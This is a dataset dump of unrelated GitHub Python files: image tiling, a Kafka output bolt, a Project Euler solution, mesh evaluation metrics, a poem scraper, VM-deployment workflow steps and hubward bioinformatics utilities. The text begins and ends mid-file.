range(6):\n for k in range(3):\n cpu_to_gpu(mock_data[j](i).pin_memory(), mock_data[j](i).cuda())\n\n\n#for i in range(1, 20):\n# for j in range(6):\n# for k in range(3):\n# cpu_to_gpu(mock_data[j](i))\n\n","repo_name":"strongh2/sc22-ae","sub_path":"SHv0/tests/test_bandwidth.py","file_name":"test_bandwidth.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"70150755347","text":"# crop and rotate\r\n\r\ndef cropRotateOverlay(filename, inputdir, outputdir):\r\n\t### PREAMBLE ##################################################################\r\n\r\n\timport cv2\r\n\timport os\r\n\timport numpy as np\r\n\tfrom os import listdir\r\n\tfrom os.path import isfile, join\r\n\timport fnmatch\r\n\timport re\r\n\timport sys, traceback\r\n\r\n\t### READ IN FILE AND EXTEND IT TO MULTIPLE OF 256 PIXELS ######################\r\n\r\n\timg = cv2.imread(os.path.join(inputdir, filename));\r\n\t# size of image\r\n\tn = img.shape[0]\r\n\tm = img.shape[1]\r\n\r\n\t# number of rows and number of columns\r\n\tnofr = np.int(np.ceil(n/256));\r\n\tnofc = np.int(np.ceil(m/256));\r\n\r\n\t# create blank (white) image whose height and width are multiples of 256 pixels\r\n\tnewimg = np.ones((nofr*256, nofc*256, 3))*255\r\n\t# Set the top left corner to match the image loaded\r\n\tnewimg[0:n,0:m,:] = img;\r\n\r\n\tangles = ['Angle_0', 'Angle_90', 'Angle_180', 'Angle_270']\r\n\r\n\t# translation is 0 at this point\r\n\t# loop over rows and columns\r\n\tfor rr in range(0, nofr):\r\n\t\tfor cc in range(0, nofc):\r\n\r\n\t\t\t# create blank (white) image that's 256 by 256\r\n\t\t\toutput = np.ones((256, 256, 3))*255\r\n\t\t\t# get the number of the part\r\n\t\t\tpart = nofc*rr + cc + 1;\r\n\t\t\t# get the start and end indices of the image\r\n\t\t\trStart = 256*rr;\r\n\t\t\trEnd = 256*(rr+1);\r\n\t\t\tcStart = 256*cc;\r\n\t\t\tcEnd = 256*(cc+1);\r\n\r\n\t\t\toutput = newimg[rStart:rEnd,cStart:cEnd,:];\r\n\t\t\t\r\n\t\t\tfor jj in range(0, 4):\r\n\t\t\t\toutputFile = filename+'_Part_'+str(part)+'_'+angles[jj]+'_Trans_0.png'\r\n\t\t\t\toutput = np.rot90(output, jj);\r\n\t\t\t\tcv2.imwrite(os.path.join(outputdir, outputFile), output);\r\n\r\n\ttranslationValue = [64, 128, 192]\r\n\t# now do the same thing, but with the translation\r\n\tfor ii in range(0, 3):\r\n\t\tfor rr in range(0, (nofr-1)):\r\n\t\t\tfor cc in range(0, (nofc-1)):\r\n\r\n\t\t\t\t# create blank (white) image that's 256 by 256\r\n\t\t\t\toutput = np.ones((256, 256, 3))*255\r\n\t\t\t\t# get the number of the part\r\n\t\t\t\tpart = (nofc-1)*rr + cc + 1;\r\n\t\t\t\t# get the start and end indices of the image\r\n\t\t\t\trStart = 256*rr + translationValue[ii]; # if rr is 0 will start at 65th value, say\r\n\t\t\t\trEnd = 256*(rr+1) + translationValue[ii];\r\n\t\t\t\tcStart = 256*cc + translationValue[ii];\r\n\t\t\t\tcEnd = 256*(cc+1) + translationValue[ii];\r\n\r\n\t\t\t\trStart\r\n\r\n\t\t\t\toutput = newimg[rStart:rEnd,cStart:cEnd,:];\r\n\t\t\t\t\r\n\t\t\t\tfor jj in range(0, 4):\r\n\t\t\t\t\toutputFile = filename+'_Part_'+str(part)+'_'+str(angles[jj])+'_Trans_'+str(translationValue[ii])+'.png'\r\n\t\t\t\t\tprint(jj)\r\n\t\t\t\t\tprint(angles[jj])\r\n\t\t\t\t\toutput = np.rot90(output, jj);\r\n\t\t\t\t\tcv2.imwrite(os.path.join(outputdir, outputFile), output);\r\n\r\n\r\n### CALL THE FUNCTION #########################################################\r\n\r\nimport os\r\nfrom os import listdir\r\nfrom os.path import isfile, join\r\nimport fnmatch\r\nimport re\r\n \r\n### PATHS #####################################################################\r\n\r\ninputdir = '/home/Documents/placenta/data/testPhotos/Pre-processed/';\r\noutputdir = '/home/Documents/placenta/data/testPhotos/CroppedForNNOverlapping';\r\n\r\n### GET THE FILENAMES FOR TEST PHOTOS TO PROCESS ############################## \r\n\r\ntestFiles = fnmatch.filter(os.listdir(inputdir), '*.png');\r\n\r\nfor file in testFiles:\r\n\tprint(file)\r\n\tcropRotateOverlay(file, inputdir, outputdir)","repo_name":"canghel/placenta","sub_path":"scripts/cropRotateOverlap.py","file_name":"cropRotateOverlap.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"42151682540","text":"from heronpy.api.bolt.bolt import Bolt\nfrom confluent_kafka import Producer, KafkaError\nimport json\n\nclass OutputKafkaBolt(Bolt):\n outputs = ['data']\n def initialize(self, config, context):\n self.log(\"[+] Initializing OutputKafkaBolt...\")\n\n # Initializing Kafka Producer, the config here is just copied from Consumer, but changing group.id and client.id\n self.kafkaProducer = Producer({\n 'bootstrap.servers': 'kafka1:9091,kafka2:9092', # Kafka broker list\n 'security.protocol': 'SSL', # Enables SSL, optional values: 'PLAINTEXT', 'SSL', 'SASL_PLAINTEXT', 'SASL_SSL'\n 'ssl.ca.location': '/opt/kafka.truststore.pub', # Public key of Kafka server, used for verification\n 'ssl.certificate.location': '/opt/heron.keystore.pub', # Public key of Kafka client SSL\n 'ssl.key.location' : '/opt/heron.keystore.pem', # Private key of Kafka client SSL\n 'ssl.key.password' : 'P@s5w0rD#', # Decryption password of Kafka client SSL private key\n 'group.id': 'heron-group-output', # Indicator of consumer group\n 'client.id': 'heron-client-output', # Indicator of client name\n 'default.topic.config': {\n 'auto.offset.reset': 'earliest' # Earliest as in earliest available offset from the last commit offset. optional values: 'earliest' 'latest'\n }\n })\n\n def delivery_report(self, err, msg):\n \"\"\" Called once for each message produced to indicate delivery result.\n Triggered by poll() or flush(). \"\"\"\n if err is not None:\n self.log('[*] Message Delivery Error: {}'.format(err))\n self.log('[*] Message Delivery: {}'.format(msg))\n\n\n def process(self, tup): # Processing incoming data\n outputJson = json.dumps(tup.values[0]) # Transforming incoming data into JSON\n\n self.kafkaProducer.produce('heron-parsed', outputJson, callback=self.delivery_report) # Produce JSON data into Kafka topic\n self.kafkaProducer.flush() # A flush, to make sure you flush the toilet..\n","repo_name":"0xStormEye/heronpy-kafka","sub_path":"bolt.py","file_name":"bolt.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29226447599","text":"from tools import pyprimes\nimport itertools\n\n'''\nThe arithmetic sequence, 1487, 4817, 8147,\nin which each of the terms increases by 3330,\nis unusual in two ways: (i) each of the three\nterms are prime, and, (ii) each of the\n4-digit numbers are permutations of one another.\n\nThere are no arithmetic sequences made\nup of three 1-, 2-, or 3-digit primes,\nexhibiting this property, but there is\none other 4-digit increasing sequence.\n\nWhat 12-digit number do you form by\nconcatenating the three terms in this sequence?\n'''\n# prime generator\nprime_gen = pyprimes.primes_above(1000)\n\nprimes = [] # all primes that are of concern\n\nprime_string_cnt = dict() # mapping how much permutations there are of a certain prime in string format\n\nstring_to_primes = dict() # storing primes under their sorted permutation key\n\nprime_permutations = dict() # contains tuple of all primes that are permutations of each other\nprime_permutation_keys = [] # keys to this dictionary\n\n\n# store primes from 1000 to 10000\nwhile True:\n next_prime = next(prime_gen)\n\n if next_prime > 10000:\n break\n\n primes.append(next_prime)\n\n\nfor prime in primes:\n\n # sort to recognize permutation\n sorted_str_prime = ''.join(sorted(str(prime)))\n\n # store under the\n string_to_primes[prime] = sorted_str_prime\n\n if sorted_str_prime in prime_string_cnt:\n value = prime_string_cnt[sorted_str_prime]\n value +=1\n\n if value >= 3:\n\n keys = sorted([key for key,value in string_to_primes.items() if value==sorted_str_prime ])\n\n prime_permutations[keys[0]] = keys\n\n if value == 3: prime_permutation_keys.append(keys[0])\n\n prime_string_cnt[sorted_str_prime] = value\n\n else:\n prime_string_cnt[sorted_str_prime] = 1\n\n#print(prime_permutation_keys)\n\nfor elem in prime_permutation_keys:\n\n # print(prime_permutations[elem])\n # DETECT IF IT CONTAINS A ARITMETIC SEQ\n\n subsets = itertools.combinations(prime_permutations[elem], 3)\n\n for subset in list(subsets):\n if subset[2] - subset[1] == subset[1] - subset[0]:\n print('a valid solution: ', subset)\n\n\nfor candidate in prime_permutations.items():\n\n print(candidate[1])\n # DETECT IF IT CONTAINS A ARITMETIC SEQ\n\n subsets = itertools.combinations(candidate[1], 3)\n\n for subset in list(subsets):\n if subset[2] - subset[1] == subset[1] - subset[0]:\n print('a valid solution: ', subset)\n\n","repo_name":"mccornet/project_euler_2014","sub_path":"problem_049.py","file_name":"problem_049.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16196900121","text":"import os\nimport numpy as np\nfrom tqdm import tqdm\nimport trimesh\nimport pandas as pd\nimport vis_fuse_utils\n\nimport polyscope as ps\nfrom icecream import ic\n\ndatasets = ['thuman', 'twindom']\npoint_sample_size = 10000\n\nif __name__ == '__main__':\n import random\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--data_folder',\n type=str,\n default='$HOME/dataset/test_full',\n help='Path to data folder.')\n parser.add_argument('--result', type=str, help='Path to result folder.')\n parser.add_argument('--out',\n type=str,\n default='$HOME/dataset/paper_validation_metrics',\n help='Path to output folder.')\n args = parser.parse_args()\n\n random.seed(0)\n np.random.seed(0)\n\n data_folder = args.data_folder\n results_folder = args.result\n save_folder = args.out\n\n if results_folder.endswith('/'):\n results_folder = results_folder[:-1]\n tag = results_folder.split('/')[-1]\n configs = os.listdir(results_folder)\n\n if 'raw' in configs:\n configs.remove('raw')\n\n results = {}\n metrics_column = [\n 'item', 'normal_consistency', 'chamfer_distance_l1',\n 'chamfer_distance_l2', 'f_score_d', 'f_score_2d'\n ]\n for dataset in datasets:\n print(f\"Validating {dataset}\")\n dataset_path = os.path.join(data_folder, dataset)\n\n if not os.path.exists(dataset_path):\n continue\n\n for item in tqdm(os.listdir(dataset_path)):\n gt_model_path = os.path.join(dataset_path, item, f'{item}.obj')\n gt_mesh: trimesh.Trimesh = trimesh.load(gt_model_path,\n process=False,\n maintain_order=True)\n\n aabb = np.max(gt_mesh.vertices, axis=0) - np.min(gt_mesh.vertices,\n axis=0)\n chamfer_scale = 1 / (0.1 * np.max(aabb))\n f_score_threshold = 0.005 * np.max(aabb)\n\n # Chamfer distance is insensitive to density distribution\n gt_mesh_samples, gt_mesh_sample_indices = trimesh.sample.sample_surface_even(\n gt_mesh, point_sample_size)\n gt_mesh_sample_normals = gt_mesh.face_normals[\n gt_mesh_sample_indices]\n\n for cfg in configs:\n val_model_path = os.path.join(results_folder, cfg, item,\n f'{item}.obj')\n if not os.path.isfile(val_model_path):\n print(f\"val data not exist {val_model_path}\")\n continue\n\n val_mesh: trimesh.Trimesh = trimesh.load(val_model_path,\n process=False,\n maintain_order=True)\n val_mesh_samples, val_mesh_sample_indices = trimesh.sample.sample_surface_even(\n val_mesh, point_sample_size)\n val_mesh_sample_normals = val_mesh.face_normals[\n val_mesh_sample_indices]\n\n gt_to_val_closest_dist, closest_val_indices, val_to_gt_closest_dist, closest_gt_indices = vis_fuse_utils.compute_closest_neighbor(\n gt_mesh_samples, val_mesh_samples)\n\n closest_gt_normals = gt_mesh_sample_normals[closest_gt_indices]\n\n metrics_normal_consistency = np.average(\n np.abs((val_mesh_sample_normals *\n closest_gt_normals).sum(axis=1)))\n\n metrics_chamfer_l1 = chamfer_scale * (np.average(\n np.linalg.norm(\n gt_mesh_samples - val_mesh_samples[closest_val_indices],\n ord=1,\n axis=1)) + np.average(\n np.linalg.norm(val_mesh_samples -\n gt_mesh_samples[closest_gt_indices],\n ord=1,\n axis=1)))\n\n metrics_chamfer_l2 = chamfer_scale * (\n np.average(val_to_gt_closest_dist) +\n np.average(gt_to_val_closest_dist))\n\n def f_score(d):\n precision = np.sum(\n val_to_gt_closest_dist < d) / point_sample_size\n recall = np.sum(\n gt_to_val_closest_dist < d) / point_sample_size\n return 2 * precision * recall / (precision + recall)\n\n metrics_f_score_d = f_score(f_score_threshold)\n metrics_f_score_2d = f_score(2 * f_score_threshold)\n\n metrics = [\n item, metrics_normal_consistency, metrics_chamfer_l1,\n metrics_chamfer_l2, metrics_f_score_d, metrics_f_score_2d\n ]\n metrics_frame = pd.DataFrame([metrics], columns=metrics_column)\n\n if cfg not in results:\n results[cfg] = metrics_frame\n else:\n results[cfg] = pd.concat([results[cfg], metrics_frame])\n\n for cfg, cfg_frames in results.items():\n cfg_frames.to_csv(os.path.join(save_folder, f\"{tag}_{cfg}_geo.csv\"))\n","repo_name":"pengHTYX/VisRecon","sub_path":"metrics/metrics_geo.py","file_name":"metrics_geo.py","file_ext":"py","file_size_in_byte":5401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27036015572","text":"import scrapy\nimport re\nfrom bs4 import BeautifulSoup\n\nfrom poemsSpider.items import PoemsSpiderItem\n\n\nclass PoemsSpider(scrapy.Spider):\n name = \"poems\"\n allowed_domains = ['gushiwen.org']\n\n def start_requests(self):\n url = 'http://www.gushiwen.org/gushi/xiaoxue.aspx'\n yield scrapy.Request(url=url, callback=self.parse)\n\n def parse(self, response):\n poemList = response.css('div.sons').xpath('div/span/a')\n for poem in poemList:\n url = poem.xpath('@href').extract()[0]\n\n yield scrapy.Request(url, callback=self.parse_content)\n\n def parse_content(self, response):\n item = PoemsSpiderItem()\n\n title = response.css('div.sons h1').xpath('text()').extract()[0]\n print(title)\n\n item['title'] = response.css('div.sons h1').xpath('text()').extract()[0]\n\n try:\n author = response.css('div.cont p.source a').xpath('text()').extract()[1]\n except:\n author = ''\n\n content = response.xpath('//div[@class=\"contson\"]')[0].extract()\n\n \"过滤掉html标签\"\n content = BeautifulSoup(content, 'xml').get_text()\n \"过滤掉空格\"\n content = content.strip().replace(\"\\n\", \"\").replace(' ', '')\n \"去掉空格里的内容\"\n content = re.sub('\\([^)]*\\)', '', content)\n content = re.sub('\\([^)]*\\)', '', content)\n\n # 换行\n content = re.sub(\"。\", \"。\\n\", content)\n content = content.rstrip(\"\\n\")\n\n item['author'] = author\n item['content'] = content\n\n yield item\n","repo_name":"woodylan/poemsSpider","sub_path":"poemsSpider/spiders/poemsSpider.py","file_name":"poemsSpider.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"11413316160","text":"from abc import ABC, abstractmethod\nfrom models.orders import OrderItem\nfrom ourCloud.OurCloudHandler import OurCloudRequestHandler\nfrom orchestra.OrchestraRequestHandler import OrchestraChangeHandler\nfrom workflows.WorkflowContext import WorkflowContext\nfrom oim_logging import get_oim_logger\nfrom exceptions.WorkflowExceptions import StepException, RequestHandlerException, TransmitException\nfrom random import sample\nimport traceback\nfrom app import db\nimport time\nfrom datetime import datetime\nimport os\nfrom ourCloud.OcStaticVars import TRANSLATE_TARGETS\nfrom adapter.OrchestraAdapters import environment_adapter\nfrom itsm.handler import ValuemationHandler\nfrom itsm.handler import CreateChangeDetails\n\n\nclass AbstractWorkflowStep(ABC):\n\n def __init__(self, action):\n self.action = action\n\n def get_action(self):\n return self.action\n\n @abstractmethod\n def execute(self, context: WorkflowContext):\n info = \" execute action: {} for user {}\".format(self.action, context.get_requester().email)\n logger = get_oim_logger()\n logger.info(info)\n\n\nclass DummyStep(AbstractWorkflowStep):\n def __init__(self, message=\"no message\"):\n self.action = \"dummy\"\n self.message = message\n\n def execute(self, context: WorkflowContext):\n info = \" Execute step {} for user {}: {ms}\".format(self.action, context.get_requester().email, ms=self.message)\n logger = get_oim_logger()\n logger.info(info)\n\n\nclass AwaitDeployStep(AbstractWorkflowStep):\n def __init__(self, item: OrderItem):\n self.action = \"awaitdeploy\"\n self.logger = get_oim_logger()\n self.STATUS_CLOSED = \"CH_CLD\"\n self.item = item\n\n def execute(self, context: WorkflowContext):\n crnr = context.getItemChangeno(self.item)\n info = \" Execute step: {ac} for change {chg} for item {itm}\".format(ac=self.action,\n chg=crnr,\n itm=self.item.get_cataloguename())\n self.logger.info(info)\n while True:\n if self.isDeploymentDone(context):\n break\n time.sleep(10)\n\n def isDeploymentDone(self, context: WorkflowContext):\n crnr = context.getItemChangeno(self.item)\n try:\n chstatus = self.getTicketStatus(context.get_changeno())\n except Exception as re:\n error = \"Error while reading status of change nr {cnr}: {err}\".format(cnr=crnr,\n err=re)\n self.logger.error(error)\n return False\n self.logger.info(\"Poll status of change {nr}: {chs}\".format(nr=crnr,\n chs=chstatus))\n if chstatus is None:\n self.logger.error(\"Error while trying to poll status of change nr {nr}: change unknown\".format(nr=crnr)) # noqa E501\n return False\n if chstatus == self.STATUS_CLOSED: # TODO: we only check the STATUS for now, more fields might be relevant later on # noqa E501\n # we're done, let's continue the workflow\n return True\n return False\n\n def getTicketStatus(self, changeno: str):\n if self.do_simulate():\n self.logger.info(\"Simulate orca ticket api\")\n retStat = self.STATUS_CLOSED # TODO: CH_CLD means \"deployment done\", adjust if more fields might be relevant later on # noqa E501\n else:\n handler = OrchestraChangeHandler()\n retStat = handler.select_change(\"TICKETNO\", changeno)\n return retStat\n\n def do_simulate(self) -> bool:\n mystring = os.getenv('ORCA_SIMULATE', \"True\")\n doSimulate = True\n if mystring.lower() == 'false':\n doSimulate = False\n if doSimulate:\n self.logger.info(\"Simulation enabled, requests will NOT be sent do ORCA ({})\".format(doSimulate))\n return True\n else:\n self.logger.info(\"Simulation disabled, requests will be sent do ORCA ({})\".format(doSimulate))\n return False\n\n\nclass CreateCrStep(AbstractWorkflowStep):\n def __init__(self, item: OrderItem):\n self.action = \"createcr\"\n self.item = item\n\n def execute(self, context: WorkflowContext):\n info = \" Execute step: {ac} for item {itm}\".format(ac=self.action, itm=self.item.get_cataloguename())\n logger = get_oim_logger()\n logger.info(info)\n myRequestor = context.get_requester().username\n myEnv = environment_adapter().translate(self.item.getEnvironment(), TRANSLATE_TARGETS.VAL)\n myDuedate = datetime.now().strftime(\"%Y-%m-%d\")\n myValenv_id = myEnv\n myService_id = self.item.getBusinessServiceId()\n# ToDo: Not defined and not clear where we can get this, maybe not required\n myCategory = \"\"\n\n myChangeDetails = CreateChangeDetails()\n myChangeDetails.setShorttext(\"OIM Testing Standard Change (Georges)\")\n myChangeDetails.setDescription(\"OIM Testing Standard Change (Georges)\")\n myChangeDetails.setReqPerson(myRequestor)\n myChangeDetails.setCategory(myCategory)\n myChangeDetails.setServicesId(myService_id)\n myChangeDetails.setdueDate(myDuedate)\n myChangeDetails.setEnvironmentId(myValenv_id)\n\n myChange = ValuemationHandler(myChangeDetails)\n lRet = myChange.create_change()\n if lRet == \"11\":\n logger.error(\"create of CR is failed:{}\".format(lRet))\n else:\n try:\n crnr = lRet['data']['ticketno']\n except KeyError:\n logger.error(\"create of CR is failed:{}\".format(lRet))\n return None\n\n # crnr = self.getRandomChangeNr()\n context.add_item(self.item, crnr)\n logger.info(\"CR {nr} has been created\".format(nr=crnr))\n\n def getRandomChangeNr(self) -> str:\n c = \"{s}{i}\".format(s=\"CH-\", i=''.join(sample(\"123456789\", 7)))\n return c\n\n\nclass DeployVmStep(AbstractWorkflowStep):\n def __init__(self, item: OrderItem):\n self.item = item\n self.action = \"deploy\"\n\n def execute(self, context: WorkflowContext):\n # extract details from order item\n # build request path\n # send request\n # handle response\n info = \" Execute step: {ac} item {it} size '{si}' for user {us}\".format(ac=self.action, it=self.item.get_cataloguename(), # noqa E501\n si=self.item.get_size().catalogueid,\n us=context.get_requester().email)\n logger = get_oim_logger()\n logger.info(info)\n\n try:\n handler = OurCloudRequestHandler.getInstance()\n try:\n crnr = context.getItemChangeno(self.item)\n ocRequestId = handler.create_vm(item=self.item, requester=context.get_requester(), changeno=crnr) # noqa E501\n self.persist_requestid(self.item, ocRequestId)\n except TransmitException as te:\n logger.error(te)\n raise StepException(te, self.item.order_id) # use custom Exception here\n except Exception as e:\n track = traceback.extract_stack()\n logger.debug(track)\n errorStr = \"Failed to create vm: {err} with parameters item='{itm}' requester='{rster}' \".format(err=e, itm=self.item.get_cataloguename().cataloguename, rster=context.get_requester()) # noqa 501\n logger.error(errorStr)\n raise # StepException(errorStr, self.item.order_id) # use custom Exception here\n else:\n info = f\" Step result: {ocRequestId} ({self.action})\"\n logger.info(info)\n except RequestHandlerException as e:\n errorStr = \"Failed to instantiate request handler: {}\".format(e)\n logger.error(errorStr)\n raise Exception(errorStr)\n else:\n logger.debug(\"Step completed ({})\".format(self.action))\n\n def persist_requestid(self, item, reqid):\n anOrderItem = OrderItem.query.get(item.id)\n anOrderItem.set_backend_request_id(reqid)\n db.session.commit()\n\n\nclass VerifyItemStep(AbstractWorkflowStep):\n def __init__(self, item: OrderItem):\n self.item = item\n self.action = \"verify\"\n\n def execute(self, context: WorkflowContext):\n # check\n infoStr = \" Execute step: {} item {} size '{}' for user {}\".format(self.action, self.item.get_cataloguename(),\n self.item.get_size().cataloguesize,\n context.get_requester().email)\n logger = get_oim_logger()\n logger.info(infoStr)\n","repo_name":"baloise/oim-api","sub_path":"apiserver/workflows/steps/WorkflowSteps.py","file_name":"WorkflowSteps.py","file_ext":"py","file_size_in_byte":8993,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"14826229457","text":"import subprocess\nimport pybedtools\nimport os\nimport pkg_resources\nimport tempfile\nfrom docutils.core import publish_string\nimport bleach\nimport pycurl\nimport pybedtools\nimport string\nimport tarfile\n\n\n# The following license is from conda_build. Code from conda_build is used in\n# the download, tar_xf, and unzip functions.\n#\n# ----------------------------------------------------------------------------\n# Except where noted below, conda is released under the following terms:\n#\n# (c) 2012 Continuum Analytics, Inc. / http://continuum.io\n# All Rights Reserved\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# * Neither the name of Continuum Analytics, Inc. nor the\n# names of its contributors may be used to endorse or promote products\n# derived from this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL CONTINUUM ANALYTICS BE LIABLE FOR ANY\n# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n#\n# Exceptions\n# ==========\n#\n# versioneer.py is Public Domain\n# ----------------------------------------------------------------------------\n\ndef download(url, outfile):\n with open(outfile, 'wb') as f:\n c = pycurl.Curl()\n c.setopt(c.URL, url)\n c.setopt(c.WRITEDATA, f)\n c.perform()\n c.close()\n\n\ndef _tar_xf(tarball, dir_path, mode='r:*'):\n # From conda_build, see license above.\n if tarball.lower().endswith('.tar.z'):\n uncompress = external.find_executable('uncompress')\n if not uncompress:\n sys.exit(\"\"\"\\\nuncompress is required to unarchive .z source files.\n\"\"\")\n subprocess.check_call([uncompress, '-f', tarball])\n tarball = tarball[:-2]\n if tarball.endswith('.tar.xz'):\n unxz = external.find_executable('unxz')\n if not unxz:\n sys.exit(\"\"\"\\\nunxz is required to unarchive .xz source files.\n\"\"\")\n\n subprocess.check_call([unxz, '-f', '-k', tarball])\n tarball = tarball[:-3]\n t = tarfile.open(tarball, mode)\n t.extractall(path=dir_path)\n t.close()\n\n\ndef _unzip(zip_path, dir_path):\n # From conda_build, see license above.\n z = zipfile.ZipFile(zip_path)\n for name in z.namelist():\n if name.endswith('/'):\n continue\n path = join(dir_path, *name.split('/'))\n dp = dirname(path)\n if not isdir(dp):\n os.makedirs(dp)\n with open(path, 'wb') as fo:\n fo.write(z.read(name))\n z.close()\n\n\ndef make_executable(filename):\n mode = os.stat(filename).st_mode\n mode |= (mode & 292) >> 2\n os.chmod(filename, mode)\n\n\ndef makedirs(dirnames):\n \"\"\"\n Recursively create the given directory or directories without reporting\n errors if they are present.\n \"\"\"\n if isinstance(dirnames, str):\n dirnames = [dirnames]\n for dirname in dirnames:\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n\n\ndef unpack(filename, dest):\n if filename.lower().endswith(\n ('.tar.gz', '.tar.bz2', '.tgz', '.tar.xz', '.tar', 'tar.z')\n ):\n _tar_xf(filename, dest)\n elif filename.lower().endswith('.zip'):\n _unzip(filename, dest)\n\n\ndef link_is_newer(x, y):\n return os.lstat(x).st_mtime > os.lstat(y).st_mtime\n\n\ndef is_newer(x, y):\n return os.stat(x).st_mtime > os.stat(y).st_mtime\n\n\ndef get_resource(fn, as_tempfile=False):\n \"\"\"\n Retrieve an installed resource.\n\n If an installed resource can't be found, then assume we're working out of\n the source directory in which case we can find the file in the ../resources\n dir.\n\n By default, returns a string. If as_tempfile=True, then write the string to\n a tempfile and return that new filename. The caller is responsible for\n deleting the tempfile.\n \"\"\"\n try:\n s = pkg_resources.resource_string('hubward', fn)\n except IOError:\n s = open(os.path.join(\n os.path.dirname(__file__), '..', 'resources', fn)).read()\n if not as_tempfile:\n return s\n tmp = tempfile.NamedTemporaryFile(delete=False).name\n with open(tmp, 'w') as fout:\n fout.write(s)\n return tmp\n\n\ndef reST_to_html(s):\n \"\"\"\n Convert ReST-formatted string `s` into HTML.\n\n Output is intended for uploading to UCSC configuration pages, so this uses\n a whitelist approach for HTML tags.\n \"\"\"\n html = publish_string(\n source=s,\n writer_name='html',\n settings=None,\n settings_overrides={'embed_stylesheet': False},\n )\n safe = bleach.ALLOWED_TAGS + [\n 'p', 'img', 'pre', 'tt', 'a', 'h1', 'h2', 'h3', 'h4'\n ]\n\n attributes = {\n 'img': ['alt', 'src'],\n 'a': ['href'],\n }\n\n return bleach.clean(html, tags=safe, strip=True, attributes=attributes)\n\n\ndef sanitize(s, strict=False):\n \"\"\"\n If strict, only allow letters and digits -- spaces will be stripped.\n\n Otherwise, convert spaces to underscores.\n \"\"\"\n if strict:\n allowed = string.letters + string.digits\n else:\n allowed = string.letters + string.digits + ' '\n return ''.join([i for i in s if i in allowed]).replace(' ', '_')\n\n\n# copied over from metaseq.colormap_adjust to avoid pulling in all of\n# metaseq...\ndef smart_colormap(vmin, vmax, color_high='#b11902', hue_low=0.6):\n \"\"\"\n Creates a \"smart\" colormap that is centered on zero, and accounts for\n asymmetrical vmin and vmax by matching saturation/value of high and low\n colors.\n\n It works by first creating a colormap from white to `color_high`. Setting\n this color to the max(abs([vmin, vmax])), it then determines what the color\n of min(abs([vmin, vmax])) should be on that scale. Then it shifts the\n color to the new hue `hue_low`, and finally creates a new colormap with the\n new hue-shifted as the low, `color_high` as the max, and centered on zero.\n\n Parameters\n ----------\n color_high : color\n Can be any format supported by matplotlib. Try \"#b11902\" for a nice\n red.\n hue_low : float in [0, 1]\n Try 0.6 for a nice blue\n vmin : float\n Lowest value in data you'll be plotting\n vmax : float\n Highest value in data you'll be plotting\n \"\"\"\n import matplotlib\n import colorsys\n # first go from white to color_high\n orig_cmap = matplotlib.colors.LinearSegmentedColormap.from_list(\n 'test', ['#FFFFFF', color_high], N=2048)\n\n # For example, say vmin=-3 and vmax=9. If vmin were positive, what would\n # its color be?\n vmin = float(vmin)\n vmax = float(vmax)\n mx = max([vmin, vmax])\n mn = min([vmin, vmax])\n frac = abs(mn / mx)\n rgb = orig_cmap(frac)[:-1]\n\n # Convert to HSV and shift the hue\n hsv = list(colorsys.rgb_to_hsv(*rgb))\n hsv[0] = hue_low\n new_rgb = colorsys.hsv_to_rgb(*hsv)\n new_hex = matplotlib.colors.rgb2hex(new_rgb)\n\n zeropoint = -vmin / (vmax - vmin)\n\n # Create a new colormap using the new hue-shifted color as the low end\n new_cmap = matplotlib.colors.LinearSegmentedColormap.from_list(\n 'test', [(0, new_rgb), (zeropoint, '#FFFFFF'), (1, color_high)],\n N=2048)\n\n return new_cmap\n\n\ndef fix_macs_wig(fn, genome, output=None, add_chr=False, to_ignore=None):\n \"\"\"\n wig files created by MACS often are extended outside the chromsome ranges.\n This function edits an input WIG file to fit within the chromosome\n boundaries defined by `genome`.\n\n If `add_chr` is True, then prefix each chromosome name with \"chr\".\n\n Also gets rid of any track lines so the file is ready for conversion to\n bigWig.\n\n Returns the output filename.\n\n fn : str\n Input WIG filename. Can be gzipped, if extension ends in .gz.\n\n genome : str or dict\n\n output : str or None\n If None, writes to temp file\n\n to_ignore : list\n List of chromosomes to ignore.\n \"\"\"\n\n if output is None:\n output = pybedtools.BedTool._tmp()\n if to_ignore is None:\n to_ignore = []\n genome = pybedtools.chromsizes(genome)\n with open(output, 'w') as fout:\n if fn.endswith('.gz'):\n f = 